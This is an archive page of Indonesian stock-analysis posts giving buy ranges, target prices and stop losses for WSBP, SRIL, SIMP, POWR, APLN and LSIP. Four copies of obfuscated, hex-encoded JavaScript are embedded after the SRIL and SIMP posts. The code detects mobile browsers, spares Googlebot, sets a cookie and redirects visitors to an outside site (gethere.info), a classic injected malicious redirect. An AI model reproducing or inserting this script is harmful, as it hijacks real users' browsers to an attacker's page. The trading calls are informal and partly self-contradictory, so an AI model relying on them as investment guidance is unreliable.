Category archive

Analisa Saham

Emiten Beton berburu kontrak baru

JAKARTA. Emiten beton memburu kontrak-kontrak baru dari proyek infrastruktur pemerintah. Hal ini dapat terlihat dari target yang ditetapkan, PT Wijaya Karya Beton Tbk (WTON) menargetkan kontrak baru senilai Rp 6,3 triliun, sedangkan PT Waskita Beton Precast Tbk (WSBP) membidik kontrak baru senilai Rp 12,3 triliun.

Sekretaris perusahaan WTON, Puji Haryadi menyampaikan, sampai saat ini kontrak baru yang berhasil didapatkan yakni senilai Rp 1,5 triliun. Capaian tersebut setara dengan 24% dari target pendapatan sepanjang 2017.

Puji memaparkan beberapa proyek besar yang berhasil didapatkan oleh WTON diantaranya yaitu proyek LRT (Light Rail Transit) Jakarta, proyek MRT (Mass Rapid Transit) Jakarta, ada juga proyek jalan tol Balikpapan – Samarinda dan proyek jalan tol Bogor Outer Ring Road (BORR). “Itu beberapa proyek besar yang berhasil didapat,” ujar Puji kepada KONTAN, Jumat (24/3).

Selain itu, ada juga beberapa proyek lainnya yang berhasil didapat seperti jalan laying kereta api Medan, proyek jalan tol Medan – Binjai, proyek jalan tol Surabaya-Gempol. Puji menargetkan kontrak baru berikutnya diharapkan datang dari proyek PLTU Batang dan PLTU Cilacap.

Selain proyek-proyek itu ternyata WTON juga mendapatkan proyek kereta api cepat Jakarta – Bandung namun, proyek ini masih dalam proses persiapan. “Untuk kereta cepat Jakarta – Bandung, WTON masih menunggu desain pihak kontraktor antara WIKA dan kontraktor China,” paparnya.

Untuk mendukung itu, tahun ini WTON menyediakan capital expenditure (capex) senilai Rp 680 miliar. Anggaran ini akan digunakan untuk mengganti peralatan dan meningkatkan kapasitas pabrik, terutama pabrik di daerah Subang, Jawa Barat. Rencananya pabrik ini akan diperluas lahannya sampai 20 hektar.

Sementara Direktur Utama WSBP, Jarot Subana menyampaikan sampai saat ini pihaknya sudah mendapatkan kontrak baru senilai Rp 4,4 triliun. Capaian tersebut setara dengan 36% dari target yang ditetapkan sepanjang tahun 2017 yakni senilai Rp 12,3 triliun.

Dia juga memaparkan beberapa proyek besar yang berhasil didapat oleh WSBP di antaranya yaitu proyek tol Legundi – Bunder, proyek tol Jakarta – Cikampek, proyek tol Pematang Panggang – Kayu Agung dan tol Kayu Agung – Betung. “Di bulan April dan Mei aka nada dua proyek besar lagi,” kata Jarot.

Tahun ini, WSBP menganggarkan capex senilai Rp 1,9 triliun. Anggaran ini Rp 1,1 triliun akan digunakan untuk membangun dua pabrik baru di daerah Kalimantan dan Sumatra utara dan sisanya akan digunakan untuk menambah 42 batching plant.

Sumber Kontan.co.id

Dari Berita diatas saya mengambil kesimpulan bahwa saham WSBP lebih murah dari pada saham WSBP secara nilai Valuaisi saham nya

Buy WSBP <520

TP Mid term 600

TP long term 900

Samuel Tanjung

Sri Rejeki Isman Tbk (SRIL), Layakkah Menampung Pisau Jatuh?

Trading Strategy: 

BUY LEVEL: 280  TP: 300 – 320 SL: 270 – 260

Jika kita melihat chart diatas, kita bisa melihat sejak awal February 2017, SRIL mengalami kenaikan yang sangat tajam, yang disertai dengan penurunan yang tidak kalah tajam juga pada bulan Maret ini. Sekarang pertanyaannya, apakah SRIL bisa menjadi target beli kita jika kita melihat dari sedikit dari sisi fundamental perusahaan?

A bit on background:

Sri Rejeki Isman Tbk adalah perusahaan tekstil terintegrasi yang memproduksi benang tenun, kain jadi, pakaian, tenda serba guna, selimut, handuk, sampai dengan pakaian militer.

Jika kita melihat dari income statement SRIL, bisa dilihat kalau net income perusahaan mengalami kenaikan sebesar 6.6% menjadi $59.36 juta (so, penurunan tajam yang terjadi bisa saja disebabkan oleh kenaikan laba yang tidak sesuai dengan ekspektasi). Tetapi, on the bright side, this slight increase in earning juga disertai dengan net profit margin yang meningkat:

Dari segi produk, SRIL merupakan pemasok garment dan tekstil untuk pakaian yang mungkin sering kita beli sehari hari, on a special note, saya sangat encourage para investor untuk membeli saham yang kita sendiri pernah beli produknya, so that we can gauge the quality and even the brand power of the company. Demikian salah satu contoh product line dari SRIL pada divisi fashion garment:

Indonesia merupakan salah satu negara dengan upah minimum yang paling kecil, jika kita melihat dari data dibawah ini, Indonesia adalah yang kedua setelah Bangladesh (maka jangan heran jika ketika anda jalan-jalan di fashion store such as H&M, anda bisa melihat label “made in Indonesia”, “made in Bangladesh” atau bahkan “made in Turkey”:D). Dengan meningkatnya upah buruh di China dan banyaknya issue mengenai buruh di Bangladesh, kini Indonesia menjadi tujuan investasi yang lebih menarik bagi produsen.

Export tekstil Indonesia juga mengalami peningkatan yang yang bisa kita lihat kenaikan CAGR pada 2010 – 2015 yang mencapai 7.9%, yang meningkat cukup banyak jika dibandingkan dengan periode 2002 – 2015 yang “hanya” sebesar 4.6%. 

Perusahaan juga memperbesar sales area ke pasar Asia, yg meningkat dari 24% menjadi 33%. 

All in all, dengan laba yang bagus dan prospek bisnis yang semakin bagus kedepannya, penurunan harga SRIL bisa menjadi kesempatan yang baik untuk investor mulai mengakumulasikan saham, maupun trader yang ingin memanfaatkan momentum ini untuk mendapatkan profit dalam jangka pendek. So, what are you waiting for? 

*Disclaimer always kelap kelip =D var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Trade Recommendation: SIMP (Salim Ivomas Pratama Tbk)

SIMP sudah menembus pola ascending triangle dan sekarang sedang berada di posisi support yaitu pada range 540 – 570. Kami merekomendasikan beli saham SIMP dengan target harga short term pada level 600 – 620.

Jika kita melihat laporan laba-rugi dari SIMP, hasilnya juga menggembirakan, dikarenakan Earning Per Share yang mencatatkan kenaikan lebih dari 100% yang menjadi basis untuk kenaikan breakout pada pola ascending triangle tersebut

SIMP:
Buy Range: 560 – 570
Short Term Target Price: 620
Stop Loss: Below 540var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Analisa Saham POWR

POWR (PT. Cikarang Listrindo, Tbk) secara fundamental sangant bagus dengan PER 10.96x , EPS USD 0.0091 (setara RP120). namun secara PBV 2.58 yang menurut saya agak tinggi. namun prospek bisnis saham ini masih sangat bagus, salah satu pelanggan dari POWR ini adalah PT. Mayora indah, Tbk (MYOR)

 

Dan secara technical sudah break out down trend dengan target harga 1500, dan volume untuk akhir2 ini kelihatan sudah mulai sedikit membesar.

harga samah POWR saat ini sudah di bawah harga IPO (Rp. 1500)

Resistance 1  atau Target harga 1: 1395

Resistance 2 atau Target harga: 1450

Resistance 3 atau Target harga: 1500

jangka waktu trading sampai 3 bulan

Cut loss jika turun di bawah 1250

Disclaimer ON

Samuel Tanjung

ANALISA APLN

 

APLN : Last : 226, TP : 248 Stop Loss 218, Entry di 220-226 Aksi Trading Buy boleh dilakukan karena membentuk DOJI. Jika berhasil ditutup di 230 berpeluang ke 248

Target Harga 248

Day Range : 1 week

S1 : 222

S2 : 218

R1 :232

R2 : 248

DC : On

Review saham LSIP

Proyeksi laporan keuangan full year 2016 PT London Sumatera diprediksi akan lebih rendah dibandingkan laporan keuangan full year tahun 2015, penjualan bersih 2016 diprediksi akan mengalami penurunan sebesar 8% yoy. Net income diprediksi turun 25,5% dari Rp623,3M menjadi Rp464M. Data dari hasil kuartal 3/2016 menunjukkan rendahnya produksi TBS inti dan plasma, TBS yang diproses turun 24,9% menjadi 1.124.296 ton dari 1.496.853 ton. Sehingga, produksi CPO juga turun 26,5% menjadi 253.962 ton dan inti sawit turun 23,4% menjadi 67.214 ton. Walaupun terjadi penurunan produksi, tingkat rendemen minyak sawit dan inti sawit relatif stabil berada level 22,6% dan 6,0%. Produksi karet juga turun 12,8% menjadi 8.067 ton dari 9.250 ton dibandingkan dengan tahun lalu. Penurunan ini disebabkan oleh rencana konversi ke tanaman kelapa sawit di Sumatera Utara. Faktor cuaca El Nino pada semester 1/2016 juga ikut mempengaruhi hasil produksi yang agak menurun 20,7% menjadi 489.176 ton dibandingkan dengan realisasi pada semester I/2015 sebesar 616.509 ton.

Walaupun hasil produksi sepanjang tahun 2016 lebih rendah dibandingkan dengan 2015, namun PT London Sumatera masih mendapatkan berkah dari meningkatnya harga global CPO selama tahun 2016. Peningkatan harga CPO dimotori dengan membaiknya permintaan dan persediaan sawit secara global. Mengutip data dari United State Department of Agriculture (USDA), produksi CPO dunia pada periode 2015/2016 diperkirakan berada pada level 59,4 juta ton, turun 3,63% dibandingkan periode sama tahun sebelumnya. Sebaliknya, konsumsi menguat 4,28% menjadi 61 juta ton. Dari data tersebut, terdapat selisih defisit sebesar 1,6 juta ton antara produksi dan konsumsi, sehingga memangkas persediaan CPO global. Sentimen ini memberikan dorongan positif terhadap harga CPO.

PT London Sumatera memiliki prospek yang bagus untuk tahun 2017. Harga CPO diprediksi masih akan meningkat seiring dengan meningkatnya permintaan. Selain itu, tanaman sawit milik LSIP saat ini berada pada usia rata-rata 13 tahun dengan komposisi 22% masih di bawah umur 7 tahun. Hal ini mengindikasikan tanaman masih dapat berbuah cukup lama hingga umur produktif sawit sekitar 20 tahun-25 tahun. Selain prospek produksi, neraca keuangan yang sehat memberikan ketahanan emiten dalam menghadapi tekanan perekonomian dunia. Pada akhir kuartal 3/2016, LSIP masih mempertahankan posisi keuangan yang sehat dengan total aset sekitar Rp8,9 triliun naik dari 8,8 triliun dari Desember 2015 serta masih memiliki posisi kas bersih.

Secara umum, ada beberapa faktor yang dapat mempengaruhi kinerja dari emiten berkode LSIP ini. Faktor-faktor tersebut antara lain stigma negatif CPO Indonesia di pasar Eropa terkait masalah lingkungan, tren bearish komoditas karet, dan penetapan bea keluar CPO dari Kementerian Perdagangan Indonesia. Pola cuaca La Nina yang menyebabkan hujan lebat pada siang hari juga dapat mengganggu proses penanaman. Tingginya curah hujan pun berpotensi menghambat kegiatan panen, pemeliharaan tanaman, dan proses logistik.

Pada penutupan perdagangan akhir pekan lalu, harga saham LSIP meningkat 2,91% menjadi Rp1.590. Angka ini menunjukkan harga saham perusahaan sawit ini tumbuh 21,84% dibandingkan dengan tahun lalu. Target harga yang dituju adalah 1.900.

Operational Highlights PP London Sumatra Indonesia:

2013 2014 2015
Crude Palm Oil 396.5 443.1 475.7
FFB¹ Nucleus 1250.4 1341.2 1396.6
Processed FFB 1730 1908.2 2073.8
Palm Kernel 97.7 109.2 123.4
Oil Palm Seed² 24.1 13.8 15.3
Rubber 12.7 13.2 11.7

in thousand tons, except stated otherwise
¹ Fresh Fruit Bunches
² million seeds
Source: PP London Sumatra Indonesia, Annual Report 2015

Financial Highlights PP London Sumatra Indonesia:

2013 2014 2015
Net Sales 4133.7 4726.5 4189.6
Gross Profit 1253.5 1536.4 1115.8
Net Income 769.5 929.4 623.3
EBITDA 1258 1437.3 1116.3
Operating Income 1025.6 1257.5 835.9
Total Assets 7974.9 8713.1 8848.8
Total Liabilities 1645.9 1710.3 1510.8
Earnings per share¹ 113 136 91

in billion IDR rupiah, except stated otherwise
¹ in IDR rupiah
